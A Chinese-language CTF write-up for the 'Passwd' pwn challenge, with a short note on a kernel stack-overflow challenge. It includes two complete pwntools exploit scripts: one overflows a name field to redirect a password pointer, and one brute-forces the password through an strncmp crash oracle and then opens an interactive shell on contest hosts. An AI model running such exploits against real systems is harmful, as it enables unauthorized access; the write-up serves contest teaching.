跳转至

Pwn

Passwd(简单的栈溢出,有两种思路可以利用)

解题思路一

文件读取结束后,相关的缓冲区数据会被清空吗? 不会吧,不会吧

(直接拿郭子仪同学的 wp 放上来了)

首先 nop 掉反调试, 恢复结构体

struct

其中 passwd 指向我们读入的数据。 然后函数名字也 rename 一下。

fun

然后看一下这个程序实际上在读取的时候可以将 name 溢出到 passwd 来修改 passwd 指针。

vul

程序使用 fopen 读取真正的密码,而文件读取结束后相关缓冲区的并不会被清空。所以直接覆盖 passwd 指针到缓冲区即可。不过要稍微爆破一下。(一开始想复杂了,准备对着 mmap 一通操作,打 freehook)。脚本其实不难,一开始确实想偏了。

最终结果

res

exp

# encoding=UTF-8
from pwn import *

context.terminal='/bin/zsh'
context.arch = "amd64"
context.log_level = "debug"
elf_path = "./passwd"
elf = ELF(elf_path)
libc = ELF("./libc-2.23.so")
ip = "www.povcfe.site"
port = 10001
#io = remote(ip, port)
#io = process(elf_path)

def input_name(buf):
    io.sendlineafter("Name:", buf)

def input_size(size):
    io.sendlineafter("Length Of New Passwd:", str(size))

def input_passwd(buf):
    io.sendlineafter("Passwd:", buf)

yes = "yes"
no = "no"
def yes_no(s):
    io.sendlineafter("yes/no?:", s)

sw = "1"
ac = "2"
def choice(c):
    io.sendlineafter("[2]:Start A New Article", c)


def input_ac(buf):
    io.sendlineafter("Article(end with '#'):", buf)

while 1:
    #io = remote(ip, port)

    io = process(elf_path)
    input_name("abcd")
    input_size(24)
    input_passwd("123456")
    choice(sw)
    yes_no(yes)

    buf = "admin"
    buf += "\x00"*0xb   # 填充至name结束,16个
    buf += "\xa0\xd2"   # 开始覆盖passwd指针的低位
    input_name(buf)
    # pause()
    # attach(io)
    buf = "a"*0x14
    input_passwd(buf)
    pause()
    attach(io)

    io.interactive()

郭子仪同学一开始陷入误区的原因是认为 mmap 基地址与 libc 基地址偏移固定,其实两者的偏移在不同系统上有可能是不同的。换个思路,因为 mmap 与 libc 之间一定是以 0x1000 为基础进行偏移的,所以在这里可以适度爆破 mmap 与 libc 之间的固定偏移,那么这题也是可以做出来的

解题思路二

考虑一下 strncmp 函数是怎么判断字符串相等的?

前置知识

strncmp(str1, str2, n) 的实现原理,是通过逐字节比对直至 n 字节全部比对完毕,中间如果发现某字节不同,则函数返回。所以,假设 str1[0]存储于合法地址,但是 str1[1]存储于非法地址 (无读取权限的地址),那么如果在比对第一个字节时,str1 与 str2 不同则正常函数返回,反之如果第一个字节相同,函数继续执行并读取第二个字节(str[1] 存储于非法地址),则程序异常退出。

解体思路

通过溢出可以控制 passwd 指向的地址,并且程序中存在由 mmap 开辟的固定内存块 0x600000000000-0x600000004000,所以如果把 passwd 指向 0x600000004000-1,那么根据程序的返回状态就可以判断第一个字节是否正确,根据这个方法可以把 passwd 逐字节爆破

exp

from pwn import *
import time
import sys

# sh = process("./passwd")
# ip = sys.argv[1]
#sh = remote("172.16.202.302", 8888)
sh = remote("geekgame.scuctf.com", 10001)
# context.log_level = "debug"

def login(name, passwd_len, passwd):
    sh.recvuntil("[+] Input Your Name:\n")
    sh.sendline(name)
    if(name == "admin"):
        sh.recvuntil("[+] Input Admin Passwd:")
        sh.sendline(passwd)
    else:
        sh.recvuntil("[+] Please Input The Length Of New Passwd:\n")
        sh.sendline(str(passwd_len))
        sh.recvuntil("[+] Input The New Passwd:\n")
        sh.sendline(passwd)


def switch_account(name, passwd):
    sh.recvuntil("[2]:Start A New Article\n")
    sh.sendline("1")
    sh.recvuntil("[+] Are You Sure To Switch Account? yes/no?:\n")
    sh.sendline("yes")
    sh.recvuntil("[+] Input The New Name:\n")
    sh.sendline(name)
    sh.recvuntil("[+] Input The Passwd:\n")
    sh.sendline(passwd)


def new_article(context):
    sh.recvuntil("[2]:Start A New Article\n")
    sh.sendline("2")
    sh.recvuntil("[+] Input The Content Of Article(end with '#'):\n")
    sh.sendline(context)


passwd = b""
num = 0
addr = 0x600000004000

ppp = 0

while(num < 19):
    login(b"povcfe", 22, b"aaa")
    new_article(b"aaaa#")
    addr = addr - 1
    payload = b"admin" + b"a"*11 + p64(addr)
    while(1):
        ppp = ppp+1
        for i in range(0x20, 0x80):
            try:
                try_passwd = passwd + chr(i).encode()
                switch_account(payload, try_passwd)

            except:
                num = num + 1
                passwd = passwd + chr(i-1).encode()
                log.success("one byte is: " + chr(i-1))
                break

        # sh = process("./passwd")
        sh.close()
        # sh = remote("172.16.202.132", 8888)
        sh = remote("geekgame.scuctf.com", 10001)
        break

login(b"povcfe", 22, b"aaa")
new_article("bbb#")

log.success(str(ppp))
addr = 0x600000000000
while(1):
    payload = b"admin" + b"a"*11 + p64(addr)
    for i in range(0x20, 0x80):

        try_passwd = passwd + chr(i).encode()
        log.success(b"try passwd is: " + try_passwd)
        switch_account(payload, try_passwd)
        time.sleep(1)
        sh.sendline(b"echo bll")
        res = sh.recvline()
        if b"bll" in res:
            sh.interactive()
            log.success("over")
            break
    log.success(b"passwd is: " + try_passwd)
break

Kernel_rop(简单的内核栈溢出)

  • 一.Hint 中给出学习内核基础知识的链接,同时 hint3 直接给出解题的详细步骤,只隐藏 ROP 构造部分,现已补全经典 ROP

  • 二.内核栈溢出除了 hint 给出的经典 ROP 利用,还可以使用 ret2usr 的利用方法 (这个方法在 hint3 所给链接的隔壁,我专门把那篇文章放在了博客首行,并且给出了 exp,编译之后直接运行就可以提权 orz,竟然没人发现) ret2usr

评论